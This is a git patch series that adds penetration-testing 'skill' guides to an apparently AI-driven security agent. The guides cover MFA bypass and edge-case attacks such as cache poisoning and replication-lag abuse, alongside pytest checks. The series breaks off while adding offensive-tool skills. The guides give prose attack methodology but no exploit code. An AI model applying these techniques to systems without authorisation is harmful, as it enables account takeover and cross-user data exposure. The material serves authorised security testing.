From c2d732b351b5481bee781f1e69cb5ffbbf1b1843 Mon Sep 17 00:00:00 2001 From: Ubuntu Date: Sun, 1 Mar 2026 23:46:37 +0000 Subject: [PATCH 1/4] Add changes from usestrix/strix PR #334 --- strix/skills/vulnerabilities/edge_cases.md | 184 ++++++++++ strix/skills/vulnerabilities/mfa_bypass.md | 186 ++++++++++ tests/skills/__init__.py | 1 + tests/skills/test_skills.py | 373 +++++++++++++++++++++ 4 files changed, 744 insertions(+) create mode 100644 strix/skills/vulnerabilities/edge_cases.md create mode 100644 strix/skills/vulnerabilities/mfa_bypass.md create mode 100644 tests/skills/__init__.py create mode 100644 tests/skills/test_skills.py diff --git a/strix/skills/vulnerabilities/edge_cases.md b/strix/skills/vulnerabilities/edge_cases.md new file mode 100644 index 000000000..ad14aeb6e --- /dev/null +++ b/strix/skills/vulnerabilities/edge_cases.md @@ -0,0 +1,184 @@ +--- +name: edge-cases +description: Edge case testing for caching races, partial failures, boundary conditions, and eventual consistency exploitation +category: vulnerabilities +tags: [caching, race-condition, partial-failure, edge-case] +cwe: 362 +--- + +# Edge Cases + +Edge case vulnerabilities arise at system boundaries: cache coherence gaps, partial failure states, retry storms, and consistency windows between distributed components. These bugs rarely appear in unit tests and require adversarial timing, ordering, and failure injection to surface. + +## Attack Surface + +**Caching Layers** +- CDN / reverse proxy (Cloudflare, Fastly, Varnish, nginx) +- Application cache (Redis, Memcached, in-process) +- Database query cache +- DNS cache and TTL manipulation +- Browser and service worker caches + +**Distributed State** +- Eventual consistency windows between replicas +- Cross-region replication lag +- Message queue delivery guarantees (at-least-once, at-most-once) +- Saga/compensation patterns in microservices + +**Failure Boundaries** +- Partial success in multi-step operations +- Timeout and retry behavior +- Circuit breaker states (closed, open, half-open) +- Graceful degradation and fallback paths + +**Boundary Conditions** +- Integer overflow/underflow at limits +- Pagination cursors at collection boundaries +- Time zone transitions, DST, leap seconds +- Unicode normalization and encoding edge cases + +## High-Value Targets + +- Authenticated CDN content served from shared cache without identity keys +- Payment flows with partial capture/refund states +- Inventory systems with reservation and release logic +- Session stores with replication lag between regions +- Rate limiters using distributed counters +- Background job queues with retry and dead-letter handling +- Search indexes with delayed consistency from primary stores + +## Reconnaissance + +### Cache Behavior Mapping + +- Identify caching headers: Cache-Control, Vary, ETag, Age, X-Cache, X-Cache-Hit, CF-Cache-Status +- Determine cache key composition: what headers, cookies, and query parameters are included +- Test Vary header completeness: does it include Authorization, Cookie, Accept-Language? +- Check for cache partitioning: do authenticated and unauthenticated requests share cache entries? +- Map TTL values and revalidation behavior (stale-while-revalidate, stale-if-error) + +### Consistency Model Discovery + +- Identify which data stores use eventual consistency vs strong consistency +- Map replication topology: primary/replica, multi-region, active-active +- Determine read-after-write guarantees per endpoint +- Check if reads are pinned to the write region or load-balanced across replicas +- Look for consistency-related headers or query parameters (consistency=strong, read_preference) + +### Failure Mode Enumeration + +- Identify multi-step operations and their atomicity guarantees +- Map retry policies: fixed, exponential backoff, jitter, max attempts +- Check for idempotency key support and scope +- Identify circuit breaker implementations and their state thresholds +- Look for graceful degradation paths that weaken security controls + +## Key Vulnerabilities + +### Cache Poisoning Races + +- **TOCTOU on CDN**: Inject a poisoned response (e.g., admin=true, elevated role) into the cache during the window between authentication check and response caching; subsequent users receive the poisoned cached response +- **Cache key confusion**: Exploit differences in how the cache and origin parse URLs, headers, or query parameters to serve one user's cached response to another +- **Vary header omission**: Origin returns user-specific content but Vary header does not include Authorization or Cookie; CDN caches and serves across identities +- **Web cache deception**: Trick caching layer into storing authenticated response at a public path (e.g., /account/profile.css) by appending cacheable extensions +- **Cache parameter cloaking**: Use unkeyed query parameters, headers, or cookies to influence response content while the cache key remains identical +- **Host header poisoning**: Inject alternate Host header values to generate cached responses with attacker-controlled links or redirects +- **Response splitting**: Inject headers that cause the cache to store a crafted response for a different URL + +### Partial Failure Exploitation + +- **Half-committed transactions**: In multi-service workflows (payment + inventory + notification), one service commits while another fails; exploit the inconsistent state before compensation runs +- **Orphaned resources**: Failed creation leaves allocated resources (IDs, reservations, storage objects) that can be claimed or referenced +- **Retry amplification**: Trigger timeouts to force retries that cause duplicate side effects (double charges, double credits, duplicate emails) +- **Compensation race**: Execute the compensation/rollback path before the original operation completes, leaving the system in a state that allows both the original action and its reversal to succeed +- **Dead letter exploitation**: Messages in dead-letter queues may be reprocessed with stale context, outdated authorization, or bypassed validation +- **Partial batch results**: Batch operations returning mixed success/failure per item; exploit items that succeeded before the batch was rolled back + +### Eventual Consistency Windows + +- **Read-your-writes violation**: Write to primary (e.g., revoke permission), immediately read from replica that has not replicated yet; stale read allows continued access +- **Cross-region stale reads**: In multi-region deployments, act in a lagging region before a security-critical write propagates (role revocation, account disable, password change) +- **Search index lag**: Item deleted or access revoked but still discoverable and accessible via search or listing endpoints backed by a delayed index +- **Counter drift**: Distributed rate limit counters or quota trackers that diverge across nodes; burst requests across multiple nodes before counters converge + +### Boundary Condition Abuse + +- **Integer boundaries**: Quantity, price, or balance fields at INT_MAX/INT_MIN; overflow to negative or zero +- **Pagination edge cases**: Cursor-based pagination allowing access to items beyond authorization scope when cursor encodes raw IDs; off-by-one at page boundaries exposing extra records +- **Time boundary exploitation**: Exploit midnight UTC rollovers, DST transitions, or month-end boundaries where time-based access controls, quotas, or rate limits reset +- **Encoding differentials**: Unicode normalization (NFC vs NFD), case folding, and homoglyph abuse causing different systems to interpret the same identifier differently (e.g., user lookup vs permission check) +- **Floating point boundaries**: Currency calculations at precision limits producing rounding errors that accumulate across transactions +- **Empty and null states**: Empty arrays, null values, missing fields, and zero-length strings bypassing validation that only checks for presence + +### Graceful Degradation Weaknesses + +- **Fallback path bypass**: When a dependency (auth service, rate limiter, WAF) is unavailable, the fallback allows requests through without full validation +- **Circuit breaker open state**: While the circuit breaker is open, requests may be routed to a degraded path that skips authorization or logging +- **Feature flag defaults**: Feature flags defaulting to enabled when the flag service is unreachable, exposing gated functionality +- **Cache stampede**: Force cache expiry on a hot key; the thundering herd of requests to the origin may overwhelm the backend and trigger degraded responses + +### Stale State and Revocation Gaps + +- **Token revocation lag**: Access tokens remain valid until expiry even after revocation event; long-lived tokens with no revocation check +- **Permission cache staleness**: Role or permission changes not reflected until cache TTL expires; act within the stale window +- **DNS rebinding**: Manipulate DNS TTL to point a validated hostname to an internal IP after the initial security check + +## Bypass Techniques + +- Timing manipulation: slow down requests (large payloads, keep-alive abuse) to widen race windows +- Regional routing: target specific regions or replicas known to lag behind the primary +- Header injection to influence cache behavior (X-Forwarded-Host, X-Original-URL) +- Trigger dependency failures (connection exhaustion, timeout injection) to force degraded paths +- Replay stale pagination cursors or continuation tokens after access revocation + +## Testing Methodology + +1. **Map caching layers** - Identify all caches (CDN, app, DB), their key composition, TTLs, and Vary headers +2. **Test cache isolation** - Verify authenticated content is not served cross-user; strip cookies, swap tokens, check ETags +3. **Probe consistency** - Write then immediately read from different paths/regions; measure replication lag +4. **Inject failures** - Simulate partial failures in multi-step operations; check for orphaned or inconsistent state +5. **Test boundaries** - Exercise integer limits, pagination edges, time boundaries, and encoding variants +6. **Force degradation** - Exhaust dependencies to trigger fallback paths; verify security controls remain enforced +7. **Measure revocation** - Change permissions/roles and measure how long stale access persists across all layers + +## Validation + +1. Show cross-user cache serving: two different authenticated users receiving each other's cached responses +2. Demonstrate partial failure leaving exploitable state (e.g., payment captured but order not created, allowing re-order) +3. Prove stale read after security-critical write (permission revocation still allowing access via replica) +4. Show boundary condition causing invariant violation (integer overflow, pagination leak, time-boundary quota reset) +5. Demonstrate degraded path bypassing security control that is enforced in the normal path +6. All findings must show durable state change or information disclosure, not just transient anomalies + +## False Positives + +- Intentional stale-while-revalidate behavior documented in architecture with acceptable staleness window +- Eventual consistency windows within documented SLA that do not affect security-critical state +- Cache serving public content (truly non-personalized) to multiple users as designed +- Graceful degradation with explicit fail-closed behavior on security-critical paths +- Pagination showing slightly stale counts due to known replica lag without access control implications + +## Impact + +- Cross-user data exposure via cache poisoning or confusion +- Financial loss from partial failure exploitation (double-spend, orphaned charges) +- Unauthorized access during consistency windows after revocation events +- Denial of service via cache stampede or retry storm amplification +- Policy bypass when security controls degrade under failure conditions + +## Pro Tips + +1. Cache bugs are most impactful on CDNs; start by mapping cache key composition and Vary headers +2. For consistency bugs, identify the replication topology first; then target the lagging component +3. Partial failures are easiest to trigger in payment and inventory flows; these have the highest business impact +4. Test revocation effectiveness by measuring the actual window between revocation and enforcement +5. Degrade one dependency at a time and check if security controls still hold +6. Integer boundary bugs are often in quantity, price, and balance fields; try MAX_INT, 0, -1, and overflow values +7. Time-boundary bugs cluster around midnight UTC, month-end, and DST transitions +8. Cache deception works best when the origin and CDN disagree on what constitutes a static resource +9. Use correlation IDs and timestamps in all test requests to prove ordering and causality +10. Document the exact timing window required to reproduce; edge cases must be repeatable to be actionable + +## Summary + +Edge cases exploit the gaps between components that each work correctly in isolation but fail under adversarial timing, ordering, or partial failure. Security must hold at every cache boundary, consistency window, failure mode, and numeric limit in the system. diff --git a/strix/skills/vulnerabilities/mfa_bypass.md b/strix/skills/vulnerabilities/mfa_bypass.md new file mode 100644 index 000000000..c94b10554 --- /dev/null +++ b/strix/skills/vulnerabilities/mfa_bypass.md @@ -0,0 +1,186 @@ +--- +name: mfa-bypass +description: MFA bypass testing for session fixation, code reuse, fallback abuse, and enrollment flow weaknesses +category: vulnerabilities +tags: [mfa, authentication, session-fixation, otp] +cwe: 308 +--- + +# MFA Bypass + +Multi-factor authentication failures allow attackers to skip or circumvent the second factor entirely. Focus on session state between authentication steps, code validation logic, fallback mechanisms, and enrollment flows. + +## Attack Surface + +**MFA Delivery Channels** +- TOTP (authenticator apps) +- SMS/voice OTP +- Email OTP/magic links +- Push notifications +- Hardware tokens (FIDO2/WebAuthn, U2F) +- Backup/recovery codes + +**Authentication Flow States** +- Pre-MFA (password verified, MFA pending) +- MFA challenge issued +- MFA verified +- MFA enrollment/setup +- MFA recovery/reset + +**Administrative Controls** +- MFA enforcement policies (org-wide, per-role) +- MFA disable/reset by admin or self-service +- Trusted device/remember-me logic + +## High-Value Targets + +- Pre-MFA session tokens and cookies that grant partial access +- MFA challenge endpoints and verification handlers +- Backup code generation and redemption +- MFA enrollment and unenrollment flows +- Trusted device registration and revocation +- Account recovery bypassing MFA (password reset, support flows) +- Admin endpoints for MFA reset on behalf of users + +## Reconnaissance + +### Session State Mapping + +- Capture cookies and tokens at each authentication step (pre-password, post-password/pre-MFA, post-MFA) +- Identify which endpoints are accessible at each state; look for partial session access +- Map session identifiers: do they change after MFA completion or persist from pre-MFA? +- Check for separate MFA challenge tokens (mfa_token, challenge_id, mfa_session) + +### MFA Configuration Discovery + +- Enumerate supported MFA methods per account and org +- Check if MFA is enforced server-side or only prompted client-side +- Identify fallback order: TOTP -> SMS -> backup codes -> support +- Look for MFA status in user profile APIs or JWT claims (mfa_verified, amr, acr) + +## Key Vulnerabilities + +### Session Fixation / Pre-MFA Access + +- **Pre-MFA session reuse**: After password verification, the session cookie or token may already grant access to some or all API endpoints without completing MFA +- **Session ID persistence**: If the session ID does not rotate after MFA completion, an attacker who captures the pre-MFA session can wait for the victim to complete MFA and inherit the authenticated session +- **Parallel session abuse**: Start login in session A, complete MFA in session B; check if session A is now fully authenticated + +### Code Validation Flaws + +- **Code reuse**: Submit a valid OTP code multiple times; server should invalidate after first use +- **Brute force**: No rate limiting or lockout on MFA code submission; 6-digit TOTP has only 1M possibilities +- **Time window abuse**: TOTP codes valid for extended windows (multiple 30s periods); try codes from adjacent time steps +- **Race conditions**: Submit multiple valid codes simultaneously to bypass single-use enforcement +- **Code leakage**: OTP codes reflected in responses, error messages, or logs +- **Predictable codes**: SMS/email codes using weak random number generators + +### Fallback and Recovery Abuse + +- **Backup code weaknesses**: Backup codes not rate-limited, not invalidated after use, or regeneratable without MFA +- **Method downgrade**: Force fallback from TOTP to SMS by claiming device unavailable; SMS interception is easier +- **Recovery flow bypass**: Account recovery (password reset, support ticket) does not require MFA, effectively bypassing it +- **Remember-me token theft**: Trusted device tokens stored insecurely, valid indefinitely, or not bound to device fingerprint + +### Enrollment Flow Weaknesses + +- **Enrollment without current MFA**: Add a new MFA method without verifying the existing one +- **TOTP secret exposure**: Secret key visible in API responses after initial enrollment; re-enrollment leaks new secret without invalidating old +- **Unenrollment without MFA**: Remove MFA method via API without proving possession of the factor +- **Race during enrollment**: Complete enrollment from two sessions simultaneously to register attacker-controlled device + +### State Machine Abuse + +- **Step skipping**: Call the post-MFA endpoint directly without completing the MFA challenge +- **Step repetition**: Replay the MFA success response to re-authenticate without a new code +- **Cross-flow confusion**: Use a password reset token or email verification flow to satisfy MFA requirements +- **Downgrade to single factor**: Modify client request to indicate MFA is not enabled for the account + +### Token and Claim Manipulation + +- **JWT amr/acr claims**: If MFA status is stored in JWT claims, modify them when signature verification is weak +- **MFA status in cookies**: Flip mfa_verified=true in a cookie or local storage value if server trusts client state +- **OAuth scope abuse**: Request tokens with scopes that bypass MFA checks on certain endpoints + +## Bypass Techniques + +- Content-type switching to hit alternate validation code paths +- Manipulate request flow: intercept redirect after password, modify to skip MFA challenge page +- Use API endpoints directly instead of UI flow to avoid client-side MFA enforcement +- Exploit inconsistent MFA enforcement between web, mobile, and API channels +- Abuse password reset or magic link flows that authenticate without MFA + +## Special Contexts + +### OAuth/OIDC Integration + +- MFA enforced at IdP but relying party accepts tokens without checking amr/acr claims +- Step-up authentication not triggered for sensitive operations +- Federated logins bypassing org MFA policy (social login without MFA) + +### Mobile Applications + +- Biometric prompt bypassed by hooking native APIs +- MFA state cached locally; modify app storage to skip challenge +- Push notification MFA: fatigue attacks (repeated prompts until user approves) + +### API Keys and Service Accounts + +- API keys bypass MFA entirely since they are single-factor by design +- Service account tokens not subject to MFA policy enforcement + +## Chaining Attacks + +- Session fixation + MFA bypass: fix pre-MFA session, wait for victim to complete MFA +- XSS + MFA bypass: steal pre-MFA cookies and access endpoints that do not enforce MFA completion +- CSRF + MFA unenrollment: force victim to disable MFA via cross-site request +- Account recovery + MFA bypass: reset password without MFA, then login without second factor + +## Testing Methodology + +1. **Map authentication states** - Document session tokens/cookies at each step; identify what changes after MFA +2. **Test pre-MFA access** - Try accessing protected resources with pre-MFA session tokens +3. **Validate code handling** - Test reuse, brute force, timing windows, and race conditions on OTP submission +4. **Probe fallbacks** - Attempt method downgrade, backup code abuse, recovery flow bypass +5. **Test enrollment** - Add/remove MFA methods without proper verification +6. **Cross-channel** - Verify MFA enforcement is consistent across web, mobile, and API +7. **Token inspection** - Check if MFA status is in JWT/cookie and if it can be manipulated + +## Validation + +1. Show access to protected resources using only a pre-MFA session (no second factor provided) +2. Demonstrate OTP code reuse or brute force resulting in successful MFA completion +3. Prove MFA can be disabled or a new method enrolled without verifying the existing factor +4. Show cross-channel inconsistency where one channel enforces MFA and another does not +5. Provide side-by-side evidence of normal MFA flow vs bypassed flow with the same account + +## False Positives + +- Remember-me functionality working as designed with proper device binding and expiry +- Step-up auth correctly gating sensitive operations while allowing read-only access pre-MFA +- Backup codes functioning as intended with single-use enforcement and rate limiting +- Account recovery requiring identity verification equivalent to MFA (e.g., identity document) + +## Impact + +- Full account takeover without possession of the second factor +- Bypass of compliance requirements (PCI DSS, SOC2, HIPAA) mandating MFA +- Persistent access after credential theft since MFA was the last line of defense +- Lateral movement in organizations where MFA is the primary access control + +## Pro Tips + +1. Always map the full session lifecycle; the gap between password verification and MFA completion is the primary attack surface +2. Test OTP validation with codes from adjacent time windows (T-1, T+1, T+2 for TOTP) +3. Check if pre-MFA sessions have any API access; even read-only access is a finding +4. Probe MFA enforcement at the service layer, not just the gateway/middleware +5. Try completing MFA on one session while accessing resources on a parallel pre-MFA session +6. Look for MFA status in JWTs and cookies; client-side MFA gates are common +7. Test account recovery and password reset flows separately; they often skip MFA +8. Push notification MFA is vulnerable to fatigue attacks; document the prompt rate and lockout behavior +9. Check if API keys or service tokens bypass MFA policy for the same account +10. Verify that MFA unenrollment requires the current factor, not just a password + +## Summary + +MFA security depends on the integrity of the entire authentication state machine, not just the code verification step. If any transition allows skipping the second factor, or if pre-MFA sessions grant meaningful access, the MFA implementation is broken. diff --git a/tests/skills/__init__.py b/tests/skills/__init__.py new file mode 100644 index 000000000..8024c8a47 --- /dev/null +++ b/tests/skills/__init__.py @@ -0,0 +1 @@ +# Skills test package diff --git a/tests/skills/test_skills.py b/tests/skills/test_skills.py new file mode 100644 index 000000000..0702403c0 --- /dev/null +++ b/tests/skills/test_skills.py @@ -0,0 +1,373 @@ +"""Tests for the Strix skills module: loading, validation, frontmatter, and new skill files.""" + +import re +from pathlib import Path + +import pytest + +from strix.skills import ( + _get_all_categories, + generate_skills_description, + get_all_skill_names, + get_available_skills, + load_skills, + validate_skill_names, +) +from strix.utils.resource_paths import get_strix_resource_path + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +SKILLS_DIR = get_strix_resource_path("skills") +FRONTMATTER_RE = re.compile(r"^---\s*\n(.*?)\n---\s*\n", re.DOTALL) +REQUIRED_SECTIONS = {"Attack Surface", "Key Vulnerabilities", "Testing Methodology", "Validation"} + +# New skills added in this branch +NEW_SKILLS = {"mfa_bypass", "edge_cases"} + + +def _read_skill_file(category: str, name: str) -> str: + """Return the raw text of a skill markdown file.""" + return (SKILLS_DIR / category / f"{name}.md").read_text(encoding="utf-8") + + +def _parse_frontmatter(raw: str) -> dict[str, str]: + """Extract frontmatter key-value pairs from a skill file.""" + match = FRONTMATTER_RE.match(raw) + if not match: + return {} + pairs: dict[str, str] = {} + for line in match.group(1).splitlines(): + if ":" in line: + key, _, value = line.partition(":") + pairs[key.strip()] = value.strip() + return pairs + + +# --------------------------------------------------------------------------- +# get_available_skills +# --------------------------------------------------------------------------- + + +class TestGetAvailableSkills: + """Tests for the get_available_skills function.""" + + def test_returns_dict(self) -> None: + result = get_available_skills() + assert isinstance(result, dict) + + def test_excludes_internal_categories(self) -> None: + result = get_available_skills() + assert "scan_modes" not in result + assert "coordination" not in result + + def test_vulnerabilities_category_present(self) -> None: + result = get_available_skills() + assert "vulnerabilities" in result + + def test_frameworks_category_present(self) -> None: + result = get_available_skills() + assert "frameworks" in result + + def test_skills_are_sorted(self) -> None: + for category, skills in get_available_skills().items(): + assert skills == sorted(skills), f"Skills in {category} are not sorted" + + def test_new_skills_appear_in_vulnerabilities(self) -> None: + """Verify mfa_bypass and edge_cases are discovered by the loader.""" + vuln_skills = get_available_skills().get("vulnerabilities", []) + for skill in NEW_SKILLS: + assert skill in vuln_skills, f"{skill} not found in vulnerabilities category" + + +# --------------------------------------------------------------------------- +# get_all_skill_names +# --------------------------------------------------------------------------- + + +class TestGetAllSkillNames: + """Tests for the get_all_skill_names function.""" + + def test_returns_set(self) -> None: + assert isinstance(get_all_skill_names(), set) + + def test_contains_new_skills(self) -> None: + all_names = get_all_skill_names() + for skill in NEW_SKILLS: + assert skill in all_names, f"{skill} missing from all skill names" + + def test_contains_existing_core_skills(self) -> None: + all_names = get_all_skill_names() + core = {"race_conditions", "business_logic", "authentication_jwt", "xss", "sql_injection"} + for skill in core: + assert skill in all_names, f"Core skill {skill} missing" + + +# --------------------------------------------------------------------------- +# validate_skill_names +# --------------------------------------------------------------------------- + + +class TestValidateSkillNames: + """Tests for the validate_skill_names function.""" + + def test_valid_skills_recognized(self) -> None: + result = validate_skill_names(["mfa_bypass", "edge_cases"]) + assert result["valid"] == ["mfa_bypass", "edge_cases"] + assert result["invalid"] == [] + + def test_invalid_skills_reported(self) -> None: + result = validate_skill_names(["nonexistent_skill_xyz"]) + assert result["valid"] == [] + assert "nonexistent_skill_xyz" in result["invalid"] + + def test_mixed_valid_and_invalid(self) -> None: + result = validate_skill_names(["mfa_bypass", "bogus", "edge_cases"]) + assert "mfa_bypass" in result["valid"] + assert "edge_cases" in result["valid"] + assert "bogus" in result["invalid"] + + def test_empty_input(self) -> None: + result = validate_skill_names([]) + assert result == {"valid": [], "invalid": []} + + +# --------------------------------------------------------------------------- +# load_skills +# --------------------------------------------------------------------------- + + +class TestLoadSkills: + """Tests for the load_skills function.""" + + def test_load_mfa_bypass(self) -> None: + loaded = load_skills(["mfa_bypass"]) + assert "mfa_bypass" in loaded + assert "# MFA Bypass" in loaded["mfa_bypass"] + + def test_load_edge_cases(self) -> None: + loaded = load_skills(["edge_cases"]) + assert "edge_cases" in loaded + assert "# Edge Cases" in loaded["edge_cases"] + + def test_frontmatter_stripped_on_load(self) -> None: + """Loaded content should have the YAML frontmatter removed.""" + for skill_name in NEW_SKILLS: + loaded = load_skills([skill_name]) + content = loaded[skill_name] + assert not content.startswith("---"), ( + f"Frontmatter not stripped from {skill_name}" + ) + + def test_load_nonexistent_returns_empty(self) -> None: + loaded = load_skills(["does_not_exist_abc"]) + assert "does_not_exist_abc" not in loaded + + def test_load_multiple_skills(self) -> None: + loaded = load_skills(["mfa_bypass", "edge_cases", "race_conditions"]) + assert len(loaded) == 3 + + def test_loaded_content_is_nonempty(self) -> None: + for skill_name in NEW_SKILLS: + loaded = load_skills([skill_name]) + assert len(loaded[skill_name].strip()) > 100, ( + f"{skill_name} content is suspiciously short" + ) + + +# --------------------------------------------------------------------------- +# generate_skills_description +# --------------------------------------------------------------------------- + + +class TestGenerateSkillsDescription: + """Tests for the generate_skills_description function.""" + + def test_returns_string(self) -> None: + desc = generate_skills_description() + assert isinstance(desc, str) + + def test_contains_available_skills_label(self) -> None: + desc = generate_skills_description() + assert "Available skills:" in desc + + def test_mentions_new_skills(self) -> None: + desc = generate_skills_description() + all_names = get_all_skill_names() + # The description includes a comma-separated list of all skill names. + for skill in NEW_SKILLS: + if skill in all_names: + assert skill.replace("_", "_") in desc + + +# --------------------------------------------------------------------------- +# _get_all_categories (internal, includes scan_modes/coordination) +# --------------------------------------------------------------------------- + + +class TestGetAllCategories: + """Tests for the internal _get_all_categories function.""" + + def test_includes_internal_categories(self) -> None: + cats = _get_all_categories() + # Should include categories that get_available_skills excludes + assert "vulnerabilities" in cats + + def test_returns_sorted_skills(self) -> None: + for category, skills in _get_all_categories().items(): + assert skills == sorted(skills), f"Skills in {category} not sorted" + + +# --------------------------------------------------------------------------- +# Frontmatter and content quality for new skills +# --------------------------------------------------------------------------- + + +class TestMfaBypassSkillContent: + """Content validation for the mfa_bypass skill file.""" + + @pytest.fixture + def raw(self) -> str: + return _read_skill_file("vulnerabilities", "mfa_bypass") + + @pytest.fixture + def frontmatter(self, raw: str) -> dict[str, str]: + return _parse_frontmatter(raw) + + def test_has_frontmatter(self, raw: str) -> None: + assert raw.startswith("---"), "Missing frontmatter delimiters" + + def test_frontmatter_name(self, frontmatter: dict[str, str]) -> None: + assert frontmatter.get("name") == "mfa-bypass" + + def test_frontmatter_description(self, frontmatter: dict[str, str]) -> None: + desc = frontmatter.get("description", "") + assert len(desc) > 10, "Description is too short" + + def test_frontmatter_has_cwe(self, frontmatter: dict[str, str]) -> None: + assert "cwe" in frontmatter + + def test_required_sections_present(self, raw: str) -> None: + for section in REQUIRED_SECTIONS: + assert f"## {section}" in raw or f"# {section}" in raw, ( + f"Missing section: {section}" + ) + + def test_covers_session_fixation(self, raw: str) -> None: + lower = raw.lower() + assert "session" in lower + assert "fixation" in lower + + def test_covers_otp_reuse(self, raw: str) -> None: + assert "code reuse" in raw.lower() or "otp" in raw.lower() + + def test_covers_fallback_abuse(self, raw: str) -> None: + assert "fallback" in raw.lower() or "recovery" in raw.lower() + + def test_covers_enrollment(self, raw: str) -> None: + assert "enrollment" in raw.lower() or "enroll" in raw.lower() + + def test_has_pro_tips(self, raw: str) -> None: + assert "## Pro Tips" in raw + + def test_has_summary(self, raw: str) -> None: + assert "## Summary" in raw + + +class TestEdgeCasesSkillContent: + """Content validation for the edge_cases skill file.""" + + @pytest.fixture + def raw(self) -> str: + return _read_skill_file("vulnerabilities", "edge_cases") + + @pytest.fixture + def frontmatter(self, raw: str) -> dict[str, str]: + return _parse_frontmatter(raw) + + def test_has_frontmatter(self, raw: str) -> None: + assert raw.startswith("---"), "Missing frontmatter delimiters" + + def test_frontmatter_name(self, frontmatter: dict[str, str]) -> None: + assert frontmatter.get("name") == "edge-cases" + + def test_frontmatter_description(self, frontmatter: dict[str, str]) -> None: + desc = frontmatter.get("description", "") + assert len(desc) > 10, "Description is too short" + + def test_required_sections_present(self, raw: str) -> None: + for section in REQUIRED_SECTIONS: + assert f"## {section}" in raw or f"# {section}" in raw, ( + f"Missing section: {section}" + ) + + def test_covers_cache_poisoning(self, raw: str) -> None: + assert "cache poisoning" in raw.lower() or "cache key" in raw.lower() + + def test_covers_partial_failures(self, raw: str) -> None: + assert "partial failure" in raw.lower() or "half-committed" in raw.lower() + + def test_covers_eventual_consistency(self, raw: str) -> None: + assert "eventual consistency" in raw.lower() + + def test_covers_boundary_conditions(self, raw: str) -> None: + assert "boundary" in raw.lower() or "integer" in raw.lower() + + def test_covers_graceful_degradation(self, raw: str) -> None: + assert "degradation" in raw.lower() or "fallback" in raw.lower() + + def test_has_pro_tips(self, raw: str) -> None: + assert "## Pro Tips" in raw + + def test_has_summary(self, raw: str) -> None: + assert "## Summary" in raw + + +# --------------------------------------------------------------------------- +# Structural validation across ALL skill files +# --------------------------------------------------------------------------- + + +class TestAllSkillFilesStructure: + """Verify every skill .md file in the repo has valid frontmatter and key sections.""" + + @pytest.fixture + def all_skill_files(self) -> list[Path]: + """Collect every .md skill file across all categories.""" + files = [] + for category_dir in SKILLS_DIR.iterdir(): + if category_dir.is_dir() and not category_dir.name.startswith("__"): + files.extend(category_dir.glob("*.md")) + return files + + def test_all_files_have_frontmatter(self, all_skill_files: list[Path]) -> None: + for path in all_skill_files: + content = path.read_text(encoding="utf-8") + assert content.startswith("---"), ( + f"{path.relative_to(SKILLS_DIR)} missing frontmatter" + ) + + def test_all_files_have_name_field(self, all_skill_files: list[Path]) -> None: + for path in all_skill_files: + fm = _parse_frontmatter(path.read_text(encoding="utf-8")) + assert "name" in fm, ( + f"{path.relative_to(SKILLS_DIR)} missing 'name' in frontmatter" + ) + + def test_all_files_have_description_field(self, all_skill_files: list[Path]) -> None: + for path in all_skill_files: + fm = _parse_frontmatter(path.read_text(encoding="utf-8")) + assert "description" in fm, ( + f"{path.relative_to(SKILLS_DIR)} missing 'description' in frontmatter" + ) + + def test_no_empty_skill_files(self, all_skill_files: list[Path]) -> None: + for path in all_skill_files: + content = path.read_text(encoding="utf-8") + # Strip frontmatter and check remaining content + body = FRONTMATTER_RE.sub("", content).strip() + assert len(body) > 50, ( + f"{path.relative_to(SKILLS_DIR)} has insufficient content ({len(body)} chars)" + ) From 25b2055026e5620c5480bc3a7504cdc34ece6395 Mon Sep 17 00:00:00 2001 From: Ubuntu Date: Sun, 1 Mar 2026 23:46:42 +0000 Subject: [PATCH 2/4] Add changes from usestrix/strix PR #336 --- strix/skills/tools/aircrack_ng.md | 79 +++++++++ strix/skills/tools/beef.md | 86 ++++++++++ strix/skills/tools/bettercap.md | 89 ++++++++++ strix/skills/tools/bloodhound.md | 87 ++++++++++ strix/skills/tools/burp_suite.md | 84 +++++++++ strix/skills/tools/ffuf.md | 87 ++++++++++ strix/skills/tools/ghidra.md | 88 ++++++++++ strix/skills/tools/gobuster.md | 85 +++++++++ strix/skills/tools/hashcat.md | 96 +++++++++++ strix/skills/tools/hydra.md | 86 ++++++++++ strix/skills/tools/john_the_ripper.md | 92 ++++++++++ strix/skills/tools/maltego.md | 77 +++++++++ strix/skills/tools/metasploit.md | 111 ++++++++++++ strix/skills/tools/netexec.md | 87 ++++++++++ strix/skills/tools/nikto.md | 75 ++++++++ strix/skills/tools/nmap.md | 97 +++++++++++ strix/skills/tools/nuclei.md | 98 +++++++++++ strix/skills/tools/owasp_zap.md | 80 +++++++++ strix/skills/tools/responder.md | 71 ++++++++ strix/skills/tools/set.md | 76 +++++++++ strix/skills/tools/sqlmap.md | 102 +++++++++++ strix/skills/tools/theharvester.md | 66 +++++++ strix/skills/tools/volatility.md | 88 ++++++++++ strix/skills/tools/wireshark.md | 83 +++++++++ strix/skills/tools/wpscan.md | 74 ++++++++ tests/skills/test_tool_skills.py | 237 ++++++++++++++++++++++++++ 26 files changed, 2381 insertions(+) create mode 100644 strix/skills/tools/aircrack_ng.md create mode 100644 strix/skills/tools/beef.md create mode 100644 strix/skills/tools/bettercap.md create mode 100644 strix/skills/tools/bloodhound.md create mode 100644 strix/skills/tools/burp_suite.md create mode 100644 strix/skills/tools/ffuf.md create mode 100644 strix/skills/tools/ghidra.md create mode 100644 strix/skills/tools/gobuster.md create mode 100644 strix/skills/tools/hashcat.md create mode 100644 strix/skills/tools/hydra.md create mode 100644 strix/skills/tools/john_the_ripper.md create mode 100644 strix/skills/tools/maltego.md create mode 100644 strix/skills/tools/metasploit.md create mode 100644 strix/skills/tools/netexec.md create mode 100644 strix/skills/tools/nikto.md create mode 100644 strix/skills/tools/nmap.md create mode 100644 strix/skills/tools/nuclei.md create mode 100644 strix/skills/tools/owasp_zap.md create mode 100644 strix/skills/tools/responder.md create mode 100644 strix/skills/tools/set.md create mode 100644 strix/skills/tools/sqlmap.md create mode 100644 strix/skills/tools/theharvester.md create mode 100644 strix/skills/tools/volatility.md create mode 100644 strix/skills/tools/wireshark.md create mode 100644 strix/skills/tools/wpscan.md create mode 100644 tests/skills/test_tool_skills.py diff --git a/strix/skills/tools/aircrack_ng.md b/strix/skills/tools/aircrack_ng.md new file mode 100644 index 000000000..f9e07e2a8 --- /dev/null +++ b/strix/skills/tools/aircrack_ng.md @@ -0,0 +1,79 @@ +--- +name: aircrack-ng +description: Operator-assisted Aircrack-ng workflows for wireless network auditing, WPA/WPA2 cracking, and rogue AP detection +category: tools +tags: [wireless, cracking, network, operator-assisted] +--- + 